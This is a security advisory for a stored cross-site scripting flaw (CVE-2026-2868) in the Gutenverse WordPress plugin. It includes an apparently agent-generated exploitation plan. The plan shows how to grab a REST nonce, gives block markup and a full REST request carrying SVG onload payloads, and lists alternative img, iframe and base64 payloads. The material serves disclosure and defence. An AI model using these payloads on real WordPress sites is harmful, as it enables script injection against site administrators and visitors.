Gutenverse – Ultimate WordPress FSE Blocks Addons & Ecosystem <= 3.5.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'separatorIconSVG'
Description
The Gutenverse – Ultimate WordPress FSE Blocks Addons & Ecosystem plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'separatorIconSVG' parameter in versions up to, and including, 3.5.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v3.6.0
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-2868 ## 1. Vulnerability Summary **CVE-2026-2868** is a Stored Cross-Site Scripting (XSS) vulnerability in the **Gutenverse – Ultimate WordPress FSE Blocks Addons & Ecosystem** plugin (versions <= 3.5.3). The vulnerability exists because the plugin fails to s…
Show full research plan
Exploitation Research Plan - CVE-2026-2868
1. Vulnerability Summary
CVE-2026-2868 is a Stored Cross-Site Scripting (XSS) vulnerability in the Gutenverse – Ultimate WordPress FSE Blocks Addons & Ecosystem plugin (versions <= 3.5.3). The vulnerability exists because the plugin fails to sanitize or escape the separatorIconSVG attribute used in its Gutenberg blocks. Authenticated users with Contributor-level permissions or higher can inject malicious scripts into this attribute. When the block is rendered on the frontend or within the editor, the script executes in the context of the viewing user (e.g., an Administrator).
2. Attack Vector Analysis
- Endpoint: WordPress REST API for posts/pages (
/wp-json/wp/v2/postsor/wp-json/wp/v2/pages). - Vulnerable Parameter:
separatorIconSVG(within the block attributes JSON inpost_content). - Authentication: Required (Contributor-level or higher).
- Preconditions: The plugin must be active. The attacker needs to be able to create or edit a post/page.
3. Code Flow
- Input: A Contributor user saves a post containing a Gutenverse block (likely
gutenverse/sectionorgutenverse/column) where theseparatorIconSVGattribute is populated with a malicious SVG/HTML string. - Persistence: The block attributes are stored as JSON comments in the
post_contentfield within thewp_poststable (e.g.,<!-- wp:gutenverse/section {"separatorIconSVG":"<svg/onload=alert(1)>"} -->). - Processing: When a user views the post, WordPress parses the blocks.
- Sink: The Gutenverse plugin's PHP rendering logic (likely a
render_callbackfor dynamic blocks or the saved static HTML) retrieves theseparatorIconSVGattribute and echoes it directly into the page output without usingwp_kses()oresc_html().
4. Nonce Acquisition Strategy
To exploit this via the REST API as a Contributor:
- Login: Authenticate as the Contributor user.
- Access Editor: Navigate to
wp-admin/post-new.php. - Extract REST Nonce: Use
browser_evalto extract thewp_restnonce from the globalwpApiSettingsobject.- Command:
browser_eval("window.wpApiSettings.nonce")
- Command:
- Alternative (Frontend): If the plugin localizes data for the frontend, it might be in
window.gutenverseCoreFrontend?.nonceor similar, but for saving posts, the standard WordPresswp_restnonce is the primary target.
5. Exploitation Strategy
Step 1: Authentication and Nonce Retrieval
Use the browser_navigate and browser_eval tools to log in as a Contributor and grab the REST API nonce.
Step 2: Identify Target Block
Based on the attribute name, the most likely block is gutenverse/section.
The block markup should look like this:
<!-- wp:gutenverse/section {"elementId":"guten-poc-1","separatorIconSVG":"<svg/onload=alert(document.domain)>"} -->
<div class="guten-element guten-section guten-poc-1">
<div class="guten-shape-divider guten-shape-divider-top"></div>
</div>
<!-- /wp:gutenverse/section -->
Step 3: Inject Payload via REST API
Send a POST request to /wp-json/wp/v2/posts to create a new post with the malicious content.
- URL:
http://localhost:8080/wp-json/wp/v2/posts - Method:
POST - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body:
{
"title": "XSS Test",
"content": "<!-- wp:gutenverse/section {\"elementId\":\"xss-id\",\"separatorIconSVG\":\"<svg/onload=alert(1)>\"} --><div class=\"guten-element guten-section xss-id\"></div><!-- /wp:gutenverse/section -->",
"status": "publish"
}
Note: Contributors cannot usually "publish" directly if they lack the publish_posts capability, so use "status": "pending" or "draft" if publish fails.
Step 4: Trigger XSS
Navigate to the newly created post's URL. If the post is in "pending" or "draft" status, view it via the preview link or log in as an Admin to view it.
6. Test Data Setup
- Role: Create a user with the
contributorrole. - Plugin: Ensure
gutenverseversion 3.5.3 is installed and active. - Page Creation: No specific pre-existing pages are required, as the attacker creates the content.
7. Expected Results
- The REST API should return a
201 Createdor200 OKresponse. - When viewing the post on the frontend, the browser should execute
alert(1). - The HTML source of the rendered page should contain the raw
<svg/onload=alert(1)>string inside a container related to Gutenverse separators.
8. Verification Steps
- Database Check: Use
wp-clito verify the payload is stored:wp post list --post_type=post --field=post_content | grep "separatorIconSVG" - Frontend Check: Use
http_requestto fetch the post content and verify the payload isn't escaped:http_request(url="[POST_URL]")-> Verify response body contains<svg/onload=alert(1)>.
9. Alternative Approaches
- Payload Variance: If
<svg/onload...>is filtered, try:"><img src=x onerror=alert(1)><iframe src="javascript:alert(1)">- Base64 encoding the SVG:
data:image/svg+xml;base64,...(if the plugin handles URLs/Data URIs poorly).
- Editor XSS: Open the draft as an Administrator. The Gutenberg editor itself may render the attribute, leading to an Admin-context XSS without needing to visit the frontend.
- Different Blocks: If
gutenverse/sectiondoesn't work, trygutenverse/columnorgutenverse/dividerusing the same attribute name.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.